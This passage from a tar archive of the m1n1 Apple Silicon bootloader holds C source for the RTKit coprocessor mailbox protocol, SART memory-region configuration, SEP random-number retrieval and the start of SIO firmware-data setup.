rtkit_printf(...) \ do { \ debug_printf("rtkit(%s): ", rtk->name); \ debug_printf(__VA_ARGS__); \ } while (0) #define RTKIT_EP_MGMT 0 #define RTKIT_EP_CRASHLOG 1 #define RTKIT_EP_SYSLOG 2 #define RTKIT_EP_DEBUG 3 #define RTKIT_EP_IOREPORT 4 #define RTKIT_EP_OSLOG 8 #define MGMT_TYPE GENMASK(59, 52) #define MGMT_PWR_STATE GENMASK(15, 0) #define MSG_BUFFER_REQUEST 1 #define MSG_BUFFER_REQUEST_SIZE GENMASK(51, 44) #define MSG_BUFFER_REQUEST_IOVA GENMASK(41, 0) #define MSG_SYSLOG_INIT 8 #define MSG_SYSLOG_INIT_ENTRYSIZE GENMASK(39, 24) #define MSG_SYSLOG_INIT_COUNT GENMASK(15, 0) #define MSG_SYSLOG_LOG 5 #define MSG_SYSLOG_LOG_INDEX GENMASK(7, 0) #define MSG_OSLOG_INIT 0x10 #define MSG_OSLOG_ACK 0x30 #define MGMT_MSG_HELLO 1 #define MGMT_MSG_HELLO_ACK 2 #define MGMT_MSG_HELLO_MINVER GENMASK(15, 0) #define MGMT_MSG_HELLO_MAXVER GENMASK(31, 16) #define MGMT_MSG_IOP_PWR_STATE 6 #define MGMT_MSG_IOP_PWR_STATE_ACK 7 #define MGMT_MSG_EPMAP 8 #define MGMT_MSG_EPMAP_DONE BIT(51) #define MGMT_MSG_EPMAP_BASE GENMASK(34, 32) #define MGMT_MSG_EPMAP_BITMAP GENMASK(31, 0) #define MGMT_MSG_EPMAP_REPLY 8 #define MGMT_MSG_EPMAP_REPLY_DONE BIT(51) #define MGMT_MSG_EPMAP_REPLY_MORE BIT(0) #define MGMT_MSG_AP_PWR_STATE 0xb #define MGMT_MSG_AP_PWR_STATE_ACK 0xb #define MGMT_MSG_START_EP 5 #define MGMT_MSG_START_EP_IDX GENMASK(39, 32) #define MGMT_MSG_START_EP_FLAG BIT(1) #define RTKIT_MIN_VERSION 11 #define RTKIT_MAX_VERSION 12 #define IOVA_MASK GENMASK(35, 0) enum rtkit_power_state { RTKIT_POWER_OFF = 0x00, RTKIT_POWER_SLEEP = 0x01, RTKIT_POWER_QUIESCED = 0x10, RTKIT_POWER_ON = 0x20, RTKIT_POWER_INIT = 0x220, }; struct rtkit_dev { char *name; asc_dev_t *asc; dart_dev_t *dart; iova_domain_t *dart_iovad; sart_dev_t *sart; bool sram; u64 dva_base; enum rtkit_power_state iop_power; enum rtkit_power_state ap_power; struct rtkit_buffer syslog_bfr; struct rtkit_buffer crashlog_bfr; struct rtkit_buffer ioreport_bfr; u32 syslog_cnt, syslog_size; bool crashed; }; struct syslog_log { u32 hdr; u32 unk; char context[24]; char msg[]; }; struct crashlog_hdr { u32 type; u32 ver; u32 total_size; u32 flags; u8 _padding[16]; }; struct crashlog_entry { u32 type; u32 _padding; u32 flags; u32 len; u8 payload[]; }; rtkit_dev_t *rtkit_init(const char *name, asc_dev_t *asc, dart_dev_t *dart, iova_domain_t *dart_iovad, sart_dev_t *sart, bool sram) { if (dart && sart) { printf("rtkit: Cannot use both SART and DART simultaneously\n"); return NULL; } if (dart && !dart_iovad) { printf("rtkit: if DART is used iovad is already required\n"); return NULL; } if (sram && (dart || sart)) { printf("rtkit: cannot use SRAM with DART or SART \n"); return NULL; } rtkit_dev_t *rtk = calloc(1, sizeof(*rtk)); if (!rtk) return NULL; size_t name_len = strlen(name); rtk->name = calloc(name_len + 1, 1); if (!rtk->name) goto out_free_rtk; strcpy(rtk->name, name); rtk->asc = asc; rtk->dart = dart; rtk->dart_iovad = dart_iovad; rtk->sart = sart; rtk->sram = sram; rtk->iop_power = RTKIT_POWER_OFF; rtk->ap_power = RTKIT_POWER_OFF; rtk->dva_base = 0; int iop_node = asc_get_iop_node(asc); ADT_GETPROP(adt, iop_node, "asc-dram-mask", &rtk->dva_base); return rtk; out_free_rtk: free(rtk); return NULL; } void rtkit_free(rtkit_dev_t *rtk) { rtkit_free_buffer(rtk, &rtk->syslog_bfr); rtkit_free_buffer(rtk, &rtk->crashlog_bfr); rtkit_free_buffer(rtk, &rtk->ioreport_bfr); free(rtk->name); free(rtk); } bool rtkit_send(rtkit_dev_t *rtk, const struct rtkit_message *msg) { struct asc_message asc_msg; asc_msg.msg0 = msg->msg; asc_msg.msg1 = msg->ep; return asc_send(rtk->asc, &asc_msg); } bool rtkit_map(rtkit_dev_t *rtk, void *phys, size_t sz, u64 *dva) { sz = ALIGN_UP(sz, 16384); if (rtk->sart) { if (!sart_add_allowed_region(rtk->sart, phys, sz)) { rtkit_printf("sart_add_allowed_region failed (%p, 0x%lx)\n", phys, sz); return false; } *dva = (u64)phys; return true; } else if (rtk->dart) { u64 iova = iova_alloc(rtk->dart_iovad, sz); if (!iova) { rtkit_printf("failed to alloc iova (size 0x%lx)\n", sz); return false; } if (dart_map(rtk->dart, iova, phys, sz) < 0) { rtkit_printf("failed to DART map %p -> 0x%lx (0x%lx)\n", phys, iova, sz); iova_free(rtk->dart_iovad, iova, sz); return false; } *dva = iova | rtk->dva_base; return true; } else { rtkit_printf("TODO: implement no IOMMU buffers\n"); return false; } } bool rtkit_unmap(rtkit_dev_t *rtk, u64 dva, size_t sz) { if (rtk->sart) { if (!sart_remove_allowed_region(rtk->sart, (void *)dva, sz)) rtkit_printf("sart_remove_allowed_region failed (0x%lx, 0x%lx)\n", dva, sz); return true; } else if (rtk->dart) { dva &= ~rtk->dva_base; dart_unmap(rtk->dart, dva & IOVA_MASK, sz); iova_free(rtk->dart_iovad, dva & IOVA_MASK, sz); return true; } else { rtkit_printf("TODO: implement no IOMMU buffers\n"); return false; } } bool rtkit_alloc_buffer(rtkit_dev_t *rtk, struct rtkit_buffer *bfr, size_t sz) { bfr->bfr = memalign(SZ_16K, sz); if (!bfr->bfr) { rtkit_printf("unable to allocate %zu buffer\n", sz); return false; } sz = ALIGN_UP(sz, 16384); bfr->sz = sz; if (!rtkit_map(rtk, bfr->bfr, sz, &bfr->dva)) goto error; return true; error: free(bfr->bfr); bfr->bfr = NULL; return false; } bool rtkit_free_buffer(rtkit_dev_t *rtk, struct rtkit_buffer *bfr) { if (!bfr->bfr || !is_heap(bfr->bfr)) return true; if (!rtkit_unmap(rtk, bfr->dva, bfr->sz)) return false; free(bfr->bfr); return false; } static bool rtkit_handle_buffer_request(rtkit_dev_t *rtk, struct rtkit_message *msg, struct rtkit_buffer *bfr) { size_t n_4kpages = FIELD_GET(MSG_BUFFER_REQUEST_SIZE, msg->msg); size_t sz = n_4kpages << 12; u64 addr = FIELD_GET(MSG_BUFFER_REQUEST_IOVA, msg->msg); if (rtk->sram) { if (!addr) { rtkit_printf("SRAM buffers needs to be provided by the IOP\n"); return false; } bfr->dva = addr; bfr->bfr = (void *)addr; bfr->sz = sz; return true; } else if (addr) { bfr->dva = addr & ~rtk->dva_base; bfr->sz = sz; bfr->bfr = dart_translate(rtk->dart, bfr->dva & IOVA_MASK); if (!bfr->bfr) { rtkit_printf("failed to translate pre-allocated buffer (ep 0x%x, buf 0x%lx)\n", msg->ep, addr); return false; } else { rtkit_printf("pre-allocated buffer (ep 0x%x, dva 0x%lx, phys %p)\n", msg->ep, addr, bfr->bfr); } return true; } else { if (!rtkit_alloc_buffer(rtk, bfr, sz)) { rtkit_printf("unable to allocate buffer\n"); return false; } } struct asc_message reply; reply.msg1 = msg->ep; reply.msg0 = FIELD_PREP(MGMT_TYPE, MSG_BUFFER_REQUEST); reply.msg0 |= FIELD_PREP(MSG_BUFFER_REQUEST_SIZE, n_4kpages); if (!addr) reply.msg0 |= FIELD_PREP(MSG_BUFFER_REQUEST_IOVA, bfr->dva | rtk->dva_base); if (!asc_send(rtk->asc, &reply)) { rtkit_printf("unable to send buffer reply\n"); rtkit_free_buffer(rtk, bfr); goto error; } return true; error: return false; } static void rtkit_crashed(rtkit_dev_t *rtk) { struct crashlog_hdr *hdr = rtk->crashlog_bfr.bfr; rtk->crashed = true; rtkit_printf("IOP crashed!\n"); if (hdr->type != 'CLHE') { rtkit_printf("bad crashlog header 0x%x @ %p\n", hdr->type, hdr); return; } struct crashlog_entry *p = (void *)(hdr + 1); rtkit_printf("== CRASH INFO ==\n"); while (p->type != 'CLHE') { switch (p->type) { case 'Cstr': rtkit_printf(" Message %d: %s\n", p->payload[0], &p->payload[4]); break; default: rtkit_printf(" 0x%x\n", p->type); break; } p = ((void *)p) + p->len; } } bool rtkit_can_recv(rtkit_dev_t *rtk) { if (rtk->crashed) return false; return asc_can_recv(rtk->asc); } int rtkit_recv(rtkit_dev_t *rtk, struct rtkit_message *msg) { struct asc_message asc_msg; bool ok = true; if (rtk->crashed) return -1; while (asc_recv(rtk->asc, &asc_msg)) { if (asc_msg.msg1 >= 0x100) { rtkit_printf("WARNING: received message for invalid endpoint %x >= 0x100\n", asc_msg.msg1); continue; } msg->msg = asc_msg.msg0; msg->ep = (u8)asc_msg.msg1; /* if this is an app message we can just forward it to the caller */ if (msg->ep >= 0x20) return 1; u32 msgtype = FIELD_GET(MGMT_TYPE, msg->msg); switch (msg->ep) { case RTKIT_EP_MGMT: switch (msgtype) { case MGMT_MSG_IOP_PWR_STATE_ACK: rtk->iop_power = FIELD_GET(MGMT_PWR_STATE, msg->msg); break; case MGMT_MSG_AP_PWR_STATE_ACK: rtk->ap_power = FIELD_GET(MGMT_PWR_STATE, msg->msg); break; default: rtkit_printf("unknown management message %x\n", msgtype); } break; case RTKIT_EP_SYSLOG: switch (msgtype) { case MSG_BUFFER_REQUEST: ok = ok && rtkit_handle_buffer_request(rtk, msg, &rtk->syslog_bfr); break; case MSG_SYSLOG_INIT: rtk->syslog_cnt = FIELD_GET(MSG_SYSLOG_INIT_COUNT, msg->msg); rtk->syslog_size = FIELD_GET(MSG_SYSLOG_INIT_ENTRYSIZE, msg->msg); break; case MSG_SYSLOG_LOG: #ifdef RTKIT_SYSLOG { u64 index = FIELD_GET(MSG_SYSLOG_LOG_INDEX, msg->msg); u64 stride = rtk->syslog_size + sizeof(struct syslog_log); struct syslog_log *log = rtk->syslog_bfr.bfr + stride * index; rtkit_printf("syslog: [%s]%s", log->context, log->msg); if (log->msg[strlen(log->msg) - 1] != '\n') printf("\n"); } #endif if (!asc_send(rtk->asc, &asc_msg)) rtkit_printf("failed to ack syslog\n"); break; default: rtkit_printf("unknown syslog message %x\n", msgtype); } break; case RTKIT_EP_CRASHLOG: switch (msgtype) { case MSG_BUFFER_REQUEST: if (!rtk->crashlog_bfr.bfr) { ok = ok && rtkit_handle_buffer_request(rtk, msg, &rtk->crashlog_bfr); } else { rtkit_crashed(rtk); return -1; } break; default: rtkit_printf("unknown crashlog message %x\n", msgtype); } break; case RTKIT_EP_IOREPORT: switch (msgtype) { case MSG_BUFFER_REQUEST: ok = ok && rtkit_handle_buffer_request(rtk, msg, &rtk->ioreport_bfr); break; /* unknown but must be ACKed */ case 0x8: case 0xc: if (!rtkit_send(rtk, msg)) rtkit_printf("unable to ACK unknown ioreport message\n"); break; default: rtkit_printf("unknown ioreport message %x\n", msgtype); } break; case RTKIT_EP_OSLOG: rtkit_printf("unknown oslog message %lx\n", msg->msg); break; default: rtkit_printf("message to unknown system endpoint 0x%02x: %lx\n", msg->ep, msg->msg); } if (!ok) { rtkit_printf("failed to handle system message 0x%02x: %lx\n", msg->ep, msg->msg); return -1; } } return 0; } bool rtkit_start_ep(rtkit_dev_t *rtk, u8 ep) { struct asc_message msg; msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_START_EP); msg.msg0 |= MGMT_MSG_START_EP_FLAG; msg.msg0 |= FIELD_PREP(MGMT_MSG_START_EP_IDX, ep); msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("unable to start endpoint 0x%02x\n", ep); return false; } return true; } bool rtkit_boot(rtkit_dev_t *rtk) { struct asc_message msg; /* boot the IOP if it isn't already */ asc_cpu_start(rtk->asc); /* can be sent unconditionally to wake up a possibly sleeping IOP */ msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_IOP_PWR_STATE) | FIELD_PREP(MGMT_PWR_STATE, RTKIT_POWER_INIT); msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("unable to send wakeup message\n"); return false; } if (!asc_recv_timeout(rtk->asc, &msg, USEC_PER_SEC)) { rtkit_printf("did not receive HELLO\n"); return false; } if (msg.msg1 != RTKIT_EP_MGMT) { rtkit_printf("expected HELLO but got message for EP 0x%x", msg.msg1); return false; } u32 msgtype; msgtype = FIELD_GET(MGMT_TYPE, msg.msg0); if (msgtype != MGMT_MSG_HELLO) { rtkit_printf("expected HELLO but got message with type 0x%02x", msgtype); return false; } u32 min_ver, max_ver, want_ver; min_ver = FIELD_GET(MGMT_MSG_HELLO_MINVER, msg.msg0); max_ver = FIELD_GET(MGMT_MSG_HELLO_MAXVER, msg.msg0); want_ver = min(RTKIT_MAX_VERSION, max_ver); if (min_ver > RTKIT_MAX_VERSION || max_ver < RTKIT_MIN_VERSION) { rtkit_printf("supported versions [%d,%d] must overlap versions [%d,%d]\n", RTKIT_MIN_VERSION, RTKIT_MAX_VERSION, min_ver, max_ver); return false; } rtkit_printf("booting with version %d\n", want_ver); msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_HELLO_ACK); msg.msg0 |= FIELD_PREP(MGMT_MSG_HELLO_MINVER, want_ver); msg.msg0 |= FIELD_PREP(MGMT_MSG_HELLO_MAXVER, want_ver); msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("couldn't send HELLO ack\n"); return false; } bool has_crashlog = false; bool has_debug = false; bool has_ioreport = false; bool has_syslog = false; bool has_oslog = false; bool got_epmap = false; while (!got_epmap) { if (!asc_recv_timeout(rtk->asc, &msg, USEC_PER_SEC)) { rtkit_printf("couldn't receive message while waiting for endpoint map\n"); return false; } if (msg.msg1 != RTKIT_EP_MGMT) { rtkit_printf("expected management message while waiting for endpoint map but got " "message for endpoint 0x%x\n", msg.msg1); return false; } msgtype = FIELD_GET(MGMT_TYPE, msg.msg0); if (msgtype != MGMT_MSG_EPMAP) { rtkit_printf("expected endpoint map message but got 0x%x instead\n", msgtype); return false; } u32 bitmap = FIELD_GET(MGMT_MSG_EPMAP_BITMAP, msg.msg0); u32 base = FIELD_GET(MGMT_MSG_EPMAP_BASE, msg.msg0); for (unsigned int i = 0; i < 32; i++) { if (bitmap & (1U << i)) { u8 ep_idx = 32 * base + i; if (ep_idx >= 0x20) continue; switch (ep_idx) { case RTKIT_EP_CRASHLOG: has_crashlog = true; break; case RTKIT_EP_DEBUG: has_debug = true; break; case RTKIT_EP_IOREPORT: has_ioreport = true; break; case RTKIT_EP_SYSLOG: has_syslog = true; break; case RTKIT_EP_OSLOG: has_oslog = true; case RTKIT_EP_MGMT: break; default: rtkit_printf("unknown system endpoint 0x%02x\n", ep_idx); } } } if (msg.msg0 & MGMT_MSG_EPMAP_DONE) got_epmap = true; msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_EPMAP_REPLY); msg.msg0 |= FIELD_PREP(MGMT_MSG_EPMAP_BASE, base); if (got_epmap) msg.msg0 |= MGMT_MSG_EPMAP_REPLY_DONE; else msg.msg0 |= MGMT_MSG_EPMAP_REPLY_MORE; msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("couldn't reply to endpoint map\n"); return false; } } /* start all required system endpoints */ if (has_debug && !rtkit_start_ep(rtk, RTKIT_EP_DEBUG)) return false; if (has_crashlog && !rtkit_start_ep(rtk, RTKIT_EP_CRASHLOG)) return false; if (has_syslog && !rtkit_start_ep(rtk, RTKIT_EP_SYSLOG)) return false; if (has_ioreport && !rtkit_start_ep(rtk, RTKIT_EP_IOREPORT)) return false; if (has_oslog && !rtkit_start_ep(rtk, RTKIT_EP_OSLOG)) return false; while (rtk->iop_power != RTKIT_POWER_ON) { struct rtkit_message rtk_msg; int ret = rtkit_recv(rtk, &rtk_msg); if (ret == 1) rtkit_printf("unexpected message to non-system endpoint 0x%02x during boot: %lx\n", rtk_msg.ep, rtk_msg.msg); else if (ret < 0) return false; } /* this enables syslog */ msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_AP_PWR_STATE) | FIELD_PREP(MGMT_PWR_STATE, RTKIT_POWER_ON); msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("unable to send AP power message\n"); return false; } return true; } static bool rtkit_switch_power_state(rtkit_dev_t *rtk, enum rtkit_power_state target) { struct asc_message msg; if (rtk->crashed) return false; /* AP power should always go to QUIESCED, otherwise rebooting doesn't work */ msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_AP_PWR_STATE) | FIELD_PREP(MGMT_PWR_STATE, RTKIT_POWER_QUIESCED); msg.msg1 = RTKIT_EP_MGMT; if (!asc_send(rtk->asc, &msg)) { rtkit_printf("unable to send shutdown message\n"); return false; } while (rtk->ap_power != RTKIT_POWER_QUIESCED) { struct rtkit_message rtk_msg; int ret = rtkit_recv(rtk, &rtk_msg); if (ret > 0) { rtkit_printf("unexpected message to non-system endpoint 0x%02x during shutdown: %lx\n", rtk_msg.ep, rtk_msg.msg); continue; } else if (ret < 0) { rtkit_printf("IOP died during shutdown\n"); return false; } } msg.msg0 = FIELD_PREP(MGMT_TYPE, MGMT_MSG_IOP_PWR_STATE) | FIELD_PREP(MGMT_PWR_STATE, target); if (!asc_send(rtk->asc, &msg)) { rtkit_printf("unable to send shutdown message\n"); return false; } while (rtk->iop_power != target) { struct rtkit_message rtk_msg; int ret = rtkit_recv(rtk, &rtk_msg); if (ret > 0) { rtkit_printf("unexpected message to non-system endpoint 0x%02x during shutdown: %lx\n", rtk_msg.ep, rtk_msg.msg); continue; } else if (ret < 0) { rtkit_printf("IOP died during shutdown\n"); return false; } } return true; } bool rtkit_quiesce(rtkit_dev_t *rtk) { return rtkit_switch_power_state(rtk, RTKIT_POWER_QUIESCED); } bool rtkit_sleep(rtkit_dev_t *rtk) { int ret = rtkit_switch_power_state(rtk, RTKIT_POWER_SLEEP); if (ret < 0) return ret; asc_cpu_stop(rtk->asc); return 0; } m1n1-1.4.11/src/rtkit.h000066400000000000000000000021361453754430200144600ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef RTKIT_H #define RTKIT_H #include "asc.h" #include "dart.h" #include "iova.h" #include "sart.h" #include "types.h" typedef struct rtkit_dev rtkit_dev_t; struct rtkit_message { u8 ep; u64 msg; }; struct rtkit_buffer { void *bfr; u64 dva; size_t sz; }; rtkit_dev_t *rtkit_init(const char *name, asc_dev_t *asc, dart_dev_t *dart, iova_domain_t *dart_iovad, sart_dev_t *sart, bool sram); bool rtkit_quiesce(rtkit_dev_t *rtk); bool rtkit_sleep(rtkit_dev_t *rtk); void rtkit_free(rtkit_dev_t *rtk); bool rtkit_start_ep(rtkit_dev_t *rtk, u8 ep); bool rtkit_boot(rtkit_dev_t *rtk); bool rtkit_can_recv(rtkit_dev_t *rtk); int rtkit_recv(rtkit_dev_t *rtk, struct rtkit_message *msg); bool rtkit_send(rtkit_dev_t *rtk, const struct rtkit_message *msg); bool rtkit_map(rtkit_dev_t *rtk, void *phys, size_t sz, u64 *dva); bool rtkit_unmap(rtkit_dev_t *rtk, u64 dva, size_t sz); bool rtkit_alloc_buffer(rtkit_dev_t *rtk, struct rtkit_buffer *bfr, size_t sz); bool rtkit_free_buffer(rtkit_dev_t *rtk, struct rtkit_buffer *bfr); #endif m1n1-1.4.11/src/sart.c000066400000000000000000000141331453754430200142670ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "malloc.h" #include "sart.h" #include "string.h" #include "utils.h" struct sart_dev { uintptr_t base; u32 protected_entries; void (*get_entry)(sart_dev_t *sart, int index, u8 *flags, void **paddr, size_t *size); bool (*set_entry)(sart_dev_t *sart, int index, u8 flags, void *paddr, size_t size); }; #define APPLE_SART_MAX_ENTRIES 16 /* This is probably a bitfield but the exact meaning of each bit is unknown. */ #define APPLE_SART_FLAGS_ALLOW 0xff /* SARTv2 registers */ #define APPLE_SART2_CONFIG(idx) (0x00 + 4 * (idx)) #define APPLE_SART2_CONFIG_FLAGS GENMASK(31, 24) #define APPLE_SART2_CONFIG_SIZE GENMASK(23, 0) #define APPLE_SART2_CONFIG_SIZE_SHIFT 12 #define APPLE_SART2_CONFIG_SIZE_MAX GENMASK(23, 0) #define APPLE_SART2_PADDR(idx) (0x40 + 4 * (idx)) #define APPLE_SART2_PADDR_SHIFT 12 /* SARTv3 registers */ #define APPLE_SART3_CONFIG(idx) (0x00 + 4 * (idx)) #define APPLE_SART3_PADDR(idx) (0x40 + 4 * (idx)) #define APPLE_SART3_PADDR_SHIFT 12 #define APPLE_SART3_SIZE(idx) (0x80 + 4 * (idx)) #define APPLE_SART3_SIZE_SHIFT 12 #define APPLE_SART3_SIZE_MAX GENMASK(29, 0) static void sart2_get_entry(sart_dev_t *sart, int index, u8 *flags, void **paddr, size_t *size) { u32 cfg = read32(sart->base + APPLE_SART2_CONFIG(index)); *flags = FIELD_GET(APPLE_SART2_CONFIG_FLAGS, cfg); *size = (size_t)FIELD_GET(APPLE_SART2_CONFIG_SIZE, cfg) << APPLE_SART2_CONFIG_SIZE_SHIFT; *paddr = (void *)((u64)read32(sart->base + APPLE_SART2_PADDR(index)) << APPLE_SART2_PADDR_SHIFT); } static bool sart2_set_entry(sart_dev_t *sart, int index, u8 flags, void *paddr_, size_t size) { u32 cfg; u64 paddr = (u64)paddr_; if (size & ((1 << APPLE_SART2_CONFIG_SIZE_SHIFT) - 1)) return false; if (paddr & ((1 << APPLE_SART2_PADDR_SHIFT) - 1)) return false; size >>= APPLE_SART2_CONFIG_SIZE_SHIFT; paddr >>= APPLE_SART2_PADDR_SHIFT; if (size > APPLE_SART2_CONFIG_SIZE_MAX) return false; cfg = FIELD_PREP(APPLE_SART2_CONFIG_FLAGS, flags); cfg |= FIELD_PREP(APPLE_SART2_CONFIG_SIZE, size); write32(sart->base + APPLE_SART2_PADDR(index), paddr); write32(sart->base + APPLE_SART2_CONFIG(index), cfg); return true; } static void sart3_get_entry(sart_dev_t *sart, int index, u8 *flags, void **paddr, size_t *size) { *flags = read32(sart->base + APPLE_SART3_CONFIG(index)); *size = (size_t)read32(sart->base + APPLE_SART3_SIZE(index)) << APPLE_SART3_SIZE_SHIFT; *paddr = (void *)((u64)read32(sart->base + APPLE_SART3_PADDR(index)) << APPLE_SART3_PADDR_SHIFT); } static bool sart3_set_entry(sart_dev_t *sart, int index, u8 flags, void *paddr_, size_t size) { u64 paddr = (u64)paddr_; if (size & ((1 << APPLE_SART3_SIZE_SHIFT) - 1)) return false; if (paddr & ((1 << APPLE_SART3_PADDR_SHIFT) - 1)) return false; paddr >>= APPLE_SART3_PADDR_SHIFT; size >>= APPLE_SART3_SIZE_SHIFT; if (size > APPLE_SART3_SIZE_MAX) return false; write32(sart->base + APPLE_SART3_PADDR(index), paddr); write32(sart->base + APPLE_SART3_SIZE(index), size); write32(sart->base + APPLE_SART3_CONFIG(index), flags); return true; } sart_dev_t *sart_init(const char *adt_path) { int sart_path[8]; int node = adt_path_offset_trace(adt, adt_path, sart_path); if (node < 0) { printf("sart: Error getting SART node %s\n", adt_path); return NULL; } u64 base; if (adt_get_reg(adt, sart_path, "reg", 0, &base, NULL) < 0) { printf("sart: Error getting SART %s base address.\n", adt_path); return NULL; } const u32 *sart_version = adt_getprop(adt, node, "sart-version", NULL); if (!sart_version) { printf("sart: SART %s has no sart-version property\n", adt_path); return NULL; } sart_dev_t *sart = calloc(1, sizeof(*sart)); if (!sart) return NULL; sart->base = base; switch (*sart_version) { case 2: sart->get_entry = sart2_get_entry; sart->set_entry = sart2_set_entry; break; case 3: sart->get_entry = sart3_get_entry; sart->set_entry = sart3_set_entry; break; default: printf("sart: SART %s has unknown version %d\n", adt_path, *sart_version); free(sart); return NULL; } printf("sart: SARTv%d %s at 0x%lx\n", *sart_version, adt_path, base); sart->protected_entries = 0; for (unsigned int i = 0; i < APPLE_SART_MAX_ENTRIES; ++i) { void *paddr; u8 flags; size_t sz; sart->get_entry(sart, i, &flags, &paddr, &sz); if (flags) sart->protected_entries |= 1 << i; } return sart; } void sart_free(sart_dev_t *sart) { for (unsigned int i = 0; i < APPLE_SART_MAX_ENTRIES; ++i) { if (sart->protected_entries & (1 << i)) continue; sart->set_entry(sart, i, 0, NULL, 0); } free(sart); } bool sart_add_allowed_region(sart_dev_t *sart, void *paddr, size_t sz) { for (unsigned int i = 0; i < APPLE_SART_MAX_ENTRIES; ++i) { void *e_paddr; u8 e_flags; size_t e_sz; if (sart->protected_entries & (1 << i)) continue; sart->get_entry(sart, i, &e_flags, &e_paddr, &e_sz); if (e_flags) continue; return sart->set_entry(sart, i, APPLE_SART_FLAGS_ALLOW, paddr, sz); } printf("sart: no more free entries\n"); return false; } bool sart_remove_allowed_region(sart_dev_t *sart, void *paddr, size_t sz) { for (unsigned int i = 0; i < APPLE_SART_MAX_ENTRIES; ++i) { void *e_paddr; u8 e_flags; size_t e_sz; if (sart->protected_entries & (1 << i)) continue; sart->get_entry(sart, i, &e_flags, &e_paddr, &e_sz); if (!e_flags) continue; if (e_paddr != paddr) continue; if (e_sz != sz) continue; return sart->set_entry(sart, i, 0, NULL, 0); } printf("sart: could not find entry to be removed\n"); return false; } m1n1-1.4.11/src/sart.h000066400000000000000000000005461453754430200142770ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef SART_H #define SART_H #include "types.h" typedef struct sart_dev sart_dev_t; sart_dev_t *sart_init(const char *adt_path); void sart_free(sart_dev_t *asc); bool sart_add_allowed_region(sart_dev_t *sart, void *paddr, size_t sz); bool sart_remove_allowed_region(sart_dev_t *sart, void *paddr, size_t sz); #endif m1n1-1.4.11/src/sep.c000066400000000000000000000027731453754430200141140ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include "asc.h" #include "sep.h" #include "types.h" #include "utils.h" #define SEP_MSG_EP GENMASK(7, 0) #define SEP_MSG_CMD GENMASK(23, 16) #define SEP_MSG_DATA GENMASK(63, 32) #define SEP_EP_ROM 0xff #define SEP_MSG_GETRAND 16 #define SEP_REPLY_GETRAND 116 #define SEP_TIMEOUT 1000 static asc_dev_t *sep_asc = NULL; int sep_init(void) { if (!sep_asc) sep_asc = asc_init("/arm-io/sep"); if (!sep_asc) return -1; return 0; } size_t sep_get_random(void *buffer, size_t len) { const struct asc_message msg_getrand = {.msg0 = FIELD_PREP(SEP_MSG_EP, SEP_EP_ROM) | FIELD_PREP(SEP_MSG_CMD, SEP_MSG_GETRAND)}; int ret; size_t done = 0; ret = sep_init(); if (ret) return 0; while (len) { struct asc_message reply; u32 rng; size_t copy; if (!asc_send(sep_asc, &msg_getrand)) return done; if (!asc_recv_timeout(sep_asc, &reply, SEP_TIMEOUT)) return done; if (FIELD_GET(SEP_MSG_CMD, reply.msg0) != SEP_REPLY_GETRAND) { printf("SEP: unexpected getrand reply: %016lx\n", reply.msg0); return done; } rng = FIELD_GET(SEP_MSG_DATA, reply.msg0); copy = sizeof(rng); if (copy > len) copy = len; memcpy(buffer, &rng, copy); done += copy; len -= copy; buffer += copy; } return done; } m1n1-1.4.11/src/sep.h000066400000000000000000000002631453754430200141110ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef SEP_H #define SEP_H #include "asc.h" #include "types.h" int sep_init(void); size_t sep_get_random(void *buffer, size_t len); #endif m1n1-1.4.11/src/sio.c000066400000000000000000000145221453754430200141120ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "errno.h" #include "malloc.h" #include "sio.h" #include "types.h" #include "utils.h" // Reuse pages for different data sections, if space allows it #define MERGE_SIO_FWDATA #define SIO_KEY(s) _SIO_KEY(#s) #define _SIO_KEY(s) (((s)[0] << 24) | ((s)[1] << 16) | ((s)[2] << 8) | (s)[3]) #define MAX_FWDATA 6 #define MAX_FWPARAMS 16 int sio_num_fwdata; struct sio_mapping *sio_fwdata; int sio_num_fwparams; struct sio_fwparam *sio_fwparams; static void *alloc_mapped_data(size_t size, u64 *iova) { if (sio_num_fwdata >= MAX_FWDATA) return NULL; struct sio_mapping *mapping = &sio_fwdata[sio_num_fwdata]; #ifdef MERGE_SIO_FWDATA if (sio_num_fwdata && ALIGN_UP((mapping - 1)->size, SZ_16K) >= (mapping - 1)->size + size) { mapping--; *iova = mapping->iova + mapping->size; mapping->size = ALIGN_UP(mapping->size + size, SZ_4K); goto done; } #endif if (!sio_num_fwdata++) mapping->iova = *iova = 0x30000; else mapping->iova = *iova = ALIGN_UP((mapping - 1)->iova + (mapping - 1)->size, SZ_16K); mapping->size = ALIGN_UP(size, SZ_4K); mapping->phys = top_of_memory_alloc(size); memset64((void *)mapping->phys, 0, ALIGN_UP(mapping->size, SZ_16K)); done: return (void *)((*iova - mapping->iova) + mapping->phys); } static void mapping_fixup(void) { for (int i = 0; i < sio_num_fwdata; i++) { struct sio_mapping *mapping = &sio_fwdata[i]; mapping->size = ALIGN_UP(mapping->size, SZ_16K); } } static void *add_fwdata(size_t size, u32 param_id) { if (sio_num_fwparams + 1 >= MAX_FWPARAMS) return NULL; u64 iova; void *p = alloc_mapped_data(size, &iova); if (!p) return NULL; struct sio_fwparam *param = &sio_fwparams[sio_num_fwparams]; param->key = param_id; param->value = iova >> 12; param++; param->key = param_id + 1; param->value = size; sio_num_fwparams += 2; return p; } #define PARAM_UNK_000b 0x000b #define PARAM_PANIC_BUFFER 0x000f #define PARAM_MAP_RANGE 0x001a #define 